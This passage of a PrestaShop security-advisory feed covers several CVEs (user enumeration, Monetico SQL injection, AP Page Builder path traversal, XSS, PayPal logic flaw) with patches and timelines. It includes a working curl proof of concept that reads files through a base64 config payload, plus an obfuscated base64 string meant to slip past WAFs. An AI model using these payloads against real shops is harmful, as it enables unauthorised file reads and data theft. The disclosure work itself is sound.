+ if ($reset_token !== false &amp;&amp; $id_employee !== false) {
+     $this-&gt;context-&gt;smarty-&gt;assign('reset_token', $reset_token);
+     $this-&gt;context-&gt;smarty-&gt;assign('id_employee', $id_employee);
+     $employee = new Employee((int) $id_employee);
+     if (Validate::isLoadedObject($employee)) {
+         $valid_reset_token = $employee-&gt;getValidResetPasswordToken();
+         if ($valid_reset_token !== false &amp;&amp; hash_equals($valid_reset_token, (string) $reset_token)) {
+             $this-&gt;context-&gt;smarty-&gt;assign('reset_email', $employee-&gt;email);
+         }
+     }
+ }
</span></code></pre></div></div>

<p>Upstream fix is included in PrestaShop <strong>8.2.3</strong>.</p>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>Enforce <strong>rate limiting</strong> on the password reset endpoint.</li>
  <li>Install a security module that enable <strong>2FA</strong> for BackOffice login.</li>
  <li>Keep your <strong>Back Office URL secret</strong> and rotate it if leaked.</li>
  <li>Keep your PrestaShop up to date</li>
</ul>

<h2 id="references">References</h2>

<ul>
  <li>Upstream fix (commit inside 8.2.3 bump PR):<br />
https://github.com/PrestaShop/PrestaShop/pull/39479/commits/c97bdf10f77fedbe5a61a1dec5f96b3abb1d76fb</li>
  <li>PrestaShop repository: https://github.com/PrestaShop/PrestaShop</li>
  <li>PrestaShop security advisory: https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-8xx5-h6m3-jr33</li>
  <li>CVE record: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-51586</li>
  <li>Original author advisory: https://maxime-morel.github.io/advisories/2025/CVE-2025-51586.md</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date (YYYY-MM-DD)</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2025-05-17</td>
      <td>Vulnerability reported to PrestaShop</td>
    </tr>
    <tr>
      <td>2025-05-19</td>
      <td>Acknowledgement of report by PrestaShop</td>
    </tr>
    <tr>
      <td>2025-05-19</td>
      <td>CVE request to MITRE</td>
    </tr>
    <tr>
      <td>2025-08-12</td>
      <td>CVE-2025-51586 reserved by MITRE</td>
    </tr>
    <tr>
      <td>2025-08-18</td>
      <td>PrestaShop confirmation for planning a fix</td>
    </tr>
    <tr>
      <td>2025-08-28</td>
      <td>Fix committed upstream (part of 8.2.3 bump)</td>
    </tr>
    <tr>
      <td>2025-09-01</td>
      <td>8.2.3 bump PR merged</td>
    </tr>
    <tr>
      <td>2025-09-04</td>
      <td>PrestaShop advisory released</td>
    </tr>
    <tr>
      <td>2025-09-04</td>
      <td>Discoverer advisory released (this advisory)</td>
    </tr>
  </tbody>
</table>]]></content><author><name>[&quot;Maxime Morel&quot;]</name></author><category term="core" /><summary type="html"><![CDATA[User enumeration vulnerability in the AdminLogin controller in PrestaShop 1.7 through 8.2.2 allows remote attackers to obtain administrators user email addresses via manipulation of the id_employee and reset_token parameters. An attacker who has access to the Back Office login URL can trigger the password reset form to disclose the associated email address in a hidden field, even when the provided reset token is invalid. This issue has been fixed in 8.2.3.]]></summary></entry><entry><title type="html">[CVE-2023-45256] Improper neutralization of SQL parameters in Monetico Paiement module from EuroInformation for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2025/06/10/MoneticoPaiement.html" rel="alternate" type="text/html" title="[CVE-2023-45256] Improper neutralization of SQL parameters in Monetico Paiement module from EuroInformation for PrestaShop" /><published>2025-06-10T00:00:00+00:00</published><updated>2025-06-10T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2025/06/10/MoneticoPaiement</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2025/06/10/MoneticoPaiement.html"><![CDATA[<p>In the module Monetico Paiement (MoneticoPaiement), multiple insecure parameters can allow a remote attacker to perform a SQL injection attack.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-45256">CVE-2023-45256</a></li>
  <li><strong>Published at</strong>: 2025-06-10</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: MoneticoPaiement</li>
  <li><strong>Impacted release</strong>: &lt;= 1.1.0 (1.1.1 fixed issue)</li>
  <li><strong>Product author</strong>: Monetico Paiement/EuroInformation</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Up to 1.1.0, SQL queries in FrontController endpoints <code class="language-plaintext highlighter-rouge">transaction.php</code>, <code class="language-plaintext highlighter-rouge">callback.php</code> and <code class="language-plaintext highlighter-rouge">validation.php</code> can be exploited with trivial HTTP calls to forge SQL injections through the POST or GET submitted <code class="language-plaintext highlighter-rouge">TPE</code>, <code class="language-plaintext highlighter-rouge">MAC</code>, <code class="language-plaintext highlighter-rouge">societe</code>, <code class="language-plaintext highlighter-rouge">reference</code> and <code class="language-plaintext highlighter-rouge">aliascb</code> variables.</p>

<p>This vulnerability relies on PrestaShop’s FrontController, which allows attackers to hide the module controller’s path during the exploit. As a result, conventional frontend logs won’t reveal that this vulnerability is being exploited. Only <code class="language-plaintext highlighter-rouge">POST /</code> will be visible in logs. Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/modules/MoneticoPaiement/MoneticoPaiement.php
</span><span class="gi">+++ b/modules/MoneticoPaiement/MoneticoPaiement.php
</span><span class="p">@@ -137,7 +137,7 @@</span> class MoneticoPaiementCodeSite extends \ObjectModel
             $sql = new \DbQuery();
             $sql-&gt;select('*');
             $sql-&gt;from('monetico_code_site_3dsv2');
<span class="gd">-            $sql-&gt;where('code_site_id = ' . $this-&gt;getIdCodeSite());
</span><span class="gi">+            $sql-&gt;where('code_site_id = ' . (int)$this-&gt;getIdCodeSite());
</span> 
             $this-&gt;set3DSV2(Db::getInstance()-&gt;executeS($sql));
         }
<span class="p">@@ -388,8 +388,8 @@</span> class MoneticoPaiementCodeSite extends \ObjectModel
             $sql = new \DbQuery();
             $sql-&gt;select('*');
             $sql-&gt;from('monetico_code_site_opts');
<span class="gd">-            $sql-&gt;where('code_site_id = ' . $this-&gt;getIdCodeSite());
-            $sql-&gt;where('opt = "' . $name . '"');
</span><span class="gi">+            $sql-&gt;where('code_site_id = ' . (int)$this-&gt;getIdCodeSite());
+            $sql-&gt;where('opt = "' . pSQL($name) . '"');
</span> 
             $options = Db::getInstance()-&gt;executeS($sql);
             if ($multiple_option) {
<span class="p">@@ -416,7 +416,7 @@</span> class MoneticoPaiementCodeSite extends \ObjectModel
             $sql = new \DbQuery();
             $sql-&gt;select('*');
             $sql-&gt;from('monetico_code_site_3dsv2');
<span class="gd">-            $sql-&gt;where('code_site_id = ' . $this-&gt;getIdCodeSite());
</span><span class="gi">+            $sql-&gt;where('code_site_id = ' . (int)$this-&gt;getIdCodeSite());
</span> 
             $data_3dsv2 = Db::getInstance()-&gt;executeS($sql);
         }
<span class="p">@@ -476,8 +476,8 @@</span> class MoneticoPaiementCodeSite extends \ObjectModel
             $sql = new \DbQuery();
             $sql-&gt;select('*');
             $sql-&gt;from('monetico_code_site_opts');
<span class="gd">-            $sql-&gt;where('code_site_id = ' . $this-&gt;getIdCodeSite());
-            $sql-&gt;where('opt = "' . $name . '"');
</span><span class="gi">+            $sql-&gt;where('code_site_id = ' . (int)$this-&gt;getIdCodeSite());
+            $sql-&gt;where('opt = "' . pSQL($name) . '"');
</span> 
             $option = Db::getInstance()-&gt;executeS($sql);
</code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/modules/MoneticoPaiement/class/MoneticoPaiementEPT.php
</span><span class="gi">+++ b/modules/MoneticoPaiement/class/MoneticoPaiementEPT.php
</span><span class="p">@@ -312,7 +312,7 @@</span> class MoneticoPaiementEPT extends \ObjectModel
         $sql = new \DbQuery();
         $sql-&gt;select('*');
         $sql-&gt;from('monetico_code_site');
<span class="gd">-        $sql-&gt;where('code_site_ept_id = ' . $this-&gt;id_ept);
</span><span class="gi">+        $sql-&gt;where('code_site_ept_id = ' . (int)$this-&gt;id_ept);
</span>         return Db::getInstance()-&gt;executeS($sql);
     }
 
<span class="p">@@ -108,7 +108,7 @@</span> class MoneticoPaiementHelper
         $sql = new \DbQuery();
         $sql-&gt;select('ept_number');
         $sql-&gt;from('monetico_ept');
<span class="gd">-        $sql-&gt;where('id_ept = ' . $id);
</span><span class="gi">+        $sql-&gt;where('id_ept = ' . (int)$id);
</span> 
         $row = Db::getInstance()-&gt;getValue($sql);
         return $row ?? '';
<span class="p">@@ -123,10 +123,10 @@</span> class MoneticoPaiementHelper
         $sql = new \DbQuery();
         $sql-&gt;select('ept_mac');
         $sql-&gt;from('monetico_ept');
<span class="gd">-        $sql-&gt;where('ept_number = "' . $ept_number . '"');
</span><span class="gi">+        $sql-&gt;where('ept_number = "' . pSQL($ept_number) . '"');
</span> 
         if (isset($id)) {
<span class="gd">-            $sql-&gt;where('id_ept != ' . $id);
</span><span class="gi">+            $sql-&gt;where('id_ept != ' . (int)$id);
</span>         }
 
         $row = Db::getInstance()-&gt;getValue($sql);

@@ -144,7 +144,7 @@ class MoneticoPaiementHelper
         $sql = new \DbQuery();
         $sql-&gt;select('*');
         $sql-&gt;from('monetico_code_site');
<span class="gd">-        $sql-&gt;where('code_site_name = "' . $code_societe_name . '"');
</span><span class="gi">+        $sql-&gt;where('code_site_name = "' . pSQL($code_societe_name) . '"');
</span> 
         return Db::getInstance()-&gt;getRow($sql);
     }
<span class="p">@@ -159,7 +159,7 @@</span> class MoneticoPaiementHelper
         $sql = new \DbQuery();
         $sql-&gt;select('*');
         $sql-&gt;from('monetico_ept');
<span class="gd">-        $sql-&gt;where('ept_number = "' . $ept_number . '"');
</span><span class="gi">+        $sql-&gt;where('ept_number = "' . pSQL($ept_number) . '"');
</span> 
         return Db::getInstance()-&gt;getRow($sql);
     }
<span class="p">@@ -222,8 +222,8 @@</span> class MoneticoPaiementHelper
                 $sql = new \DbQuery();
                 $sql-&gt;select('code_site_id');
                 $sql-&gt;from('monetico_code_site_opts');
<span class="gd">-                $sql-&gt;where(' `opt` = "' . $filter_key . '"');
-                $sql-&gt;where('`value` = "' . $filter_value . '"');
</span><span class="gi">+                $sql-&gt;where(' `opt` = "' . pSQL($filter_key) . '"');
+                $sql-&gt;where('`value` = "' . pSQL($filter_value) . '"');
</span> 
                 $options = Db::getInstance()-&gt;executeS($sql);
                 $filter_ids = [];
<span class="p">@@ -263,7 +263,7 @@</span> class MoneticoPaiementHelper
             $sql = new \DbQuery();
             $sql-&gt;select('*');
             $sql-&gt;from('monetico_code_site');
<span class="gd">-            $sql-&gt;where('id_code_site IN (' . $code_site_where_in . ')');
</span><span class="gi">+            $sql-&gt;where('id_code_site IN (' . pSQL($code_site_where_in) . ')');
</span>             $sql-&gt;where('code_site_active = 1');
             $result = Db::getInstance()-&gt;executeS($sql);
             foreach ($result as $code_site) {

@@ -288,8 +288,8 @@ class MoneticoPaiementHelper
         $sql = new \DbQuery();
         $sql-&gt;select('count(*)');
         $sql-&gt;from('monetico_code_site_opts');
<span class="gd">-        $sql-&gt;where('`code_site_id` = "' . $code_site_id . '"');
-        $sql-&gt;where(' `opt` = "' . $filter_key . '"');
</span><span class="gi">+        $sql-&gt;where('`code_site_id` = "' . pSQL($code_site_id) . '"');
+        $sql-&gt;where(' `opt` = "' . pSQL($filter_key) . '"');
</span> 
         return (int)Db::getInstance()-&gt;getValue($sql);
     }
<span class="p">@@ -308,9 +308,9 @@</span> class MoneticoPaiementHelper
         $sql = new \DbQuery();
         $sql-&gt;select('count(*)');
         $sql-&gt;from('monetico_code_site_opts');
<span class="gd">-        $sql-&gt;where('`code_site_id` = "' . $code_site_id . '"');
-        $sql-&gt;where(' `opt` = "' . $filter_key . '"');
-        $sql-&gt;where(' `value` = "' . $fitler_value . '"');
</span><span class="gi">+        $sql-&gt;where('`code_site_id` = "' . (int)$code_site_id . '"');
+        $sql-&gt;where(' `opt` = "' . pSQL($filter_key) . '"');
+        $sql-&gt;where(' `value` = "' . pSQL($fitler_value) . '"');
</span> 
         return (int)Db::getInstance()-&gt;getValue($sql);
     }
<span class="p">@@ -386,7 +412,7 @@</span> class MoneticoPaiementHelper
         $sql = new \DbQuery();
         $sql-&gt;select('*');
         $sql-&gt;from('monetico_transaction');
<span class="gd">-        $sql-&gt;where(' `order_ref` = "' . $order_ref . '"');
</span><span class="gi">+        $sql-&gt;where(' `order_ref` = "' . pSQL($order_ref) . '"');
</span>         return Db::getInstance()-&gt;getRow($sql);
     }
 
<span class="p">@@ -472,7 +498,7 @@</span> class MoneticoPaiementHelper
         $sql = new \DbQuery();
         $sql-&gt;select('id');
         $sql-&gt;from('monetico_alias_bc');
<span class="gd">-        $sql-&gt;where(' `alias` = "' . $alias . '"');
</span><span class="gi">+        $sql-&gt;where(' `alias` = "' . pSQL($alias) . '"');
</span>         $row = Db::getInstance()-&gt;getValue($sql);
         return $row ?? '';
     }
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s <strong>highly recommended to upgrade the module</strong> to the latest version or to <strong>delete</strong> the module if unused.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-08-13</td>
      <td>Discovery of the vulnerability by Profileo</td>
    </tr>
    <tr>
      <td>2023-08-13</td>
      <td>Disclosing the vulnerability to Monetico Paiement and Euro-Information</td>
    </tr>
    <tr>
      <td>2023-08-17</td>
      <td>Confirmation of the vulnerability by the author</td>
    </tr>
    <tr>
      <td>2023-08-18</td>
      <td>Release of the fix by the author in version 1.1.1</td>
    </tr>
    <tr>
      <td>2023-08-18</td>
      <td>Author warned customers of the vulnerability and request the upgrade to version 1.1.1</td>
    </tr>
    <tr>
      <td>2023-08-18</td>
      <td>Requesting a CVE ID to Mitre</td>
    </tr>
    <tr>
      <td>2023-10-13</td>
      <td>Author requests a one-month delay before public disclosure</td>
    </tr>
    <tr>
      <td>2025-06-10</td>
      <td>Profileo publish the vulnerability</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.monetico-paiement.fr/fr/installer/telechargements/kit_telechargeable.aspx?_tabi=I0&amp;_pid=ValidateLicencePage">Download page of Monetico module</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-45256">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Profileo.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module Monetico Paiement (MoneticoPaiement), multiple insecure parameters can allow a remote attacker to perform a SQL injection attack.]]></summary></entry><entry><title type="html">[CVE-2024-6648] Absolute Path Traversal vulnerability in AP Page Builder versions prior to 4.0.0</title><link href="https://security.friendsofpresta.org/modules/2025/05/22/appagebuilder.html" rel="alternate" type="text/html" title="[CVE-2024-6648] Absolute Path Traversal vulnerability in AP Page Builder versions prior to 4.0.0" /><published>2025-05-22T00:00:00+00:00</published><updated>2025-05-22T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2025/05/22/appagebuilder</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2025/05/22/appagebuilder.html"><![CDATA[<p>Ap Page Builder is vulnerable to an absolute path traversal that allows the attacker to include system files by modifying the base64 config param submitted to apajax.php</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-6648">CVE-2024-6648</a></li>
  <li><strong>Published at</strong>: 2025-05-08</li>
  <li><strong>Advisory source</strong>: Incibe cert</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: Ap Page Builder</li>
  <li><strong>Impacted release</strong>: &lt; 4.0.0</li>
  <li><strong>Product author</strong>: Apollo Theme</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/36.html">CWE-36</a></li>
  <li><strong>Severity</strong>: high (8.7)</li>
</ul>

<h2 id="description">Description</h2>

<p>Absolute Path Traversal vulnerability in AP Page Builder versions prior to 4.0.0 could allow an unauthenticated remote user to modify the ‘product_item_path’ within the ‘config’ JSON file, allowing them to read any file on the system.</p>

<p><strong>WARNING</strong> : This exploit uses a Base64 payload, which may bypass most WAFs.</p>

<p>Be aware that it’s possible to obfuscate a Base64 string using special characters to evade detection - the base64_decode() function in PHP will silently strip them out.</p>

<p>For example, the following is a perfectly valid Base64 input for base64_decode:
Li4$vLi4-vY#XBwL–2NvbmZpZy9wYXJhb-WV0Z$XJzLnB$ocA==</p>

<p>If you’re using ModSecurity 2, prefer base64DecodeExt over base64Decode to mitigate this technique.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack Vector (AV)</strong>: Network</li>
  <li><strong>Attack Complexity (AC)</strong>: Low</li>
  <li><strong>Attack Requirements (AT)</strong>: None</li>
  <li><strong>Privileges Required (PR)</strong>: None</li>
  <li><strong>User Interaction (UI)</strong>: None</li>
  <li><strong>Confidentiality (VC)</strong>: High</li>
  <li><strong>Integrity (VI)</strong>: None</li>
  <li><strong>Availability (VA)</strong>: None</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v4-calculator?vector=AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N</a></p>

<h2 id="proof-of-concept">Proof of concept</h2>

<p>POC has been published by n0d0n : https://github.com/n0d0n/CVE-2024-6648/blob/main/CVE-2024-6648.yaml</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="s2">"https://preprod.X/modules/appagebuilder/apajax.php?config=eyJvcmRlcl9ieSI6ImlkX3Byb2R1Y3QiLCJuYl9wcm9kdWN0cyI6IjIiLCJ0b3RhbF9wYWdlIjoxLCAicHJvZHVjdF9pdGVtX3BhdGgiOiAiY29uZmlnLnhtbCIsICJjb2x1bW5zIjogMX0%3d&amp;p=1"</span>
</code></pre></div></div>

<h2 id="patch">Patch</h2>

<p>See this : <a href="https://help-center.prestashop.com/hc/en-us/articles/25492821315346-Ap-Page-Builder-module-compliance">Help Center - PrestaShop</a></p>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2024-07-15</td>
      <td>Incibe report the vulnerability</td>
    </tr>
    <tr>
      <td>2024-08-16</td>
      <td>Due to the severity of the vulnerability, the large number of affected themes (over 2,000) across multiple marketplaces, and the time required for the module author to patch all of them, TouchWeb requests a one-year delay before public disclosure.</td>
    </tr>
    <tr>
      <td>2024-10-16</td>
      <td>Incibe accept a 9 months delay</td>
    </tr>
    <tr>
      <td>2025-05-08</td>
      <td>Incibe publish the vulnerability</td>
    </tr>
    <tr>
      <td>2025-05-08</td>
      <td>n0d0n publish the POC</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.incibe.es/incibe-cert/alerta-temprana/avisos/path-traversal-en-ap-page-builder">Incibe cert advisory</a></li>
  <li><a href="https://help-center.prestashop.com/hc/fr/articles/25492821315346-Mise-en-conformit%C3%A9-du-module-Ap-Page-Builder">Prestashop advisory</a></li>
  <li><a href="https://apollotheme.com/products/ap-pagebuilder-prestashop-module">Theme page</a></li>
  <li><a href="https://github.com/n0d0n/CVE-2024-6648/blob/main/CVE-2024-6648.yaml">Public POC</a></li>
</ul>]]></content><author><name>[&quot;n0d0n&quot;, &quot;incibe.es&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[Ap Page Builder is vulnerable to an absolute path traversal that allows the attacker to include system files by modifying the base64 config param submitted to apajax.php]]></summary></entry><entry><title type="html">[CVE-2025-24027] ps_contactinfo has potential XSS due to usage of the nofilter tag in template</title><link href="https://security.friendsofpresta.org/core/2025/01/22/ps_contactinfo.html" rel="alternate" type="text/html" title="[CVE-2025-24027] ps_contactinfo has potential XSS due to usage of the nofilter tag in template" /><published>2025-01-22T00:00:00+00:00</published><updated>2025-01-22T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/core/2025/01/22/ps_contactinfo</id><content type="html" xml:base="https://security.friendsofpresta.org/core/2025/01/22/ps_contactinfo.html"><![CDATA[<p>ps_contactinfo has a cross-site scripting (XSS) weakness (which is not a standalone vulnerability) in versions up to and including 3.3.2</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-24027">CVE-2025-24027</a></li>
  <li><strong>Published at</strong>: 2025-01-22</li>
  <li><strong>Advisory source</strong>: PrestaShop</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: PrestaShop</li>
  <li><strong>Impacted release</strong>: &lt;= 3.3.2, 3.3.3 patched the issue</li>
  <li><strong>Product author</strong>: PrestaShop</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79</a></li>
  <li><strong>Severity</strong>: low (4.1)</li>
</ul>

<h2 id="description">Description</h2>

<p>The ps_contactinfo module for PrestaShop, used to display store contact information, contains a cross-site scripting (XSS) <strong>weakness</strong> in versions up to and including 3.3.2.</p>

<p>This weakness could lead to a chained vulnerability <strong>if and only if</strong> the store uses a third-party module vulnerable to SQL injection, as ps_contactinfo might execute stored XSS when rendering formatted objects.</p>

<p>The issue is addressed in commit d60f9a5634b4fc2d3a8831fb08fe2e1f23cbfa39, which prevents formatted addresses from executing stored XSS present in the database. The fix will be included in version 3.3.3 of the module.</p>

<p>No workarounds are currently available, other than applying the fix and ensuring that all modules are properly maintained and up to date.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: none</li>
  <li><strong>Privilege required</strong>: high</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: low</li>
  <li><strong>Integrity</strong>: low</li>
  <li><strong>Availability</strong>: low</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L">CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L</a></p>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2025-01-22</td>
      <td>Publish this security advisory</td>
    </tr>
    <tr>
      <td>2025-01-30</td>
      <td>New description and score claim by TouchWeb since it’s a chain vulnerability</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://github.com/PrestaShop/ps_contactinfo/security/advisories/GHSA-35pq-7pv2-2rfw">PrestaShop product repository</a></li>
  <li><a href="https://github.com/PrestaShop/ps_contactinfo/commit/d60f9a5634b4fc2d3a8831fb08fe2e1f23cbfa39">Patch</a></li>
</ul>]]></content><author><name>[&quot;Friends-Of-Presta.org&quot;, &quot;TouchWeb.fr&quot;]</name></author><category term="core" /><summary type="html"><![CDATA[ps_contactinfo has a cross-site scripting (XSS) weakness (which is not a standalone vulnerability) in versions up to and including 3.3.2]]></summary></entry><entry><title type="html">[CVE-2024-41670] Improperly Implemented Security Check for Standard in PayPal Official for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/07/26/paypal.html" rel="alternate" type="text/html" title="[CVE-2024-41670] Improperly Implemented Security Check for Standard in PayPal Official for PrestaShop" /><published>2024-07-26T00:00:00+00:00</published><updated>2024-07-26T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/07/26/paypal</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/07/26/paypal.html"><![CDATA[<p>In the module “PayPal Official” for PrestaShop 1.7+ release &lt;= 6.4.1 and for PrestaShop 1.6 release &lt;= 3.18.0, a malicious customer can confirm as “payment accepted” an order even if payment is finally declined by PayPal.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-41670">CVE-2024-41670</a></li>
  <li><strong>Published at</strong>: 2024-07-25</li>
  <li><strong>Advisory source</strong>: <a href="https://github.com/202ecommerce/paypal/security/advisories/GHSA-w3w3-j3mh-3354">Github repository of Paypal module for PrestaShop</a></li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: paypal</li>
  <li><strong>Impacted release</strong>: &lt;= 6.4.1 (6.4.2 fix the vulnerability) / &lt;= 3.18.0 (3.18.1 fix the vulnerability)</li>
  <li><strong>Product author</strong>: 202 ecommerce</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/358.html">CWE-358</a></li>
  <li><strong>Severity</strong>: medium (6.5)</li>
</ul>

<h2 id="description">Description</h2>

<p>Before to 6.4.1 or 3.18.1, a logical weakness during the capture of a payment in case of disabled webhooks can be exploited to create an accepted order.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: low</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: low</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: low</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Confirm order with a fraudulent payment support</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>Upgrade PayPal up to 6.4.2 or 3.18.1 according to your PrestaShop version.</li>
  <li>Enable webhooks and check they are callable</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2024-07-15</td>
      <td>Issue discovered in a support ticket</td>
    </tr>
    <tr>
      <td>2024-07-17</td>
      <td>202 ecommerce inform PayPal of a suspicious transaction</td>
    </tr>
    <tr>
      <td>2024-07-22</td>
      <td>Logical weakness confirmed in a testing environment</td>
    </tr>
    <tr>
      <td>2024-07-25</td>
      <td>Publication of this advisory with releases patch</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/payment-card-wallet/1748-paypal-official.html">PrestaShop addons product page</a></li>
  <li><a href="https://github.com/202ecommerce/paypal/security/advisories/GHSA-w3w3-j3mh-3354">Github repository of Paypal module for PrestaShop</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-41670">National Vulnerability Database</a></li>
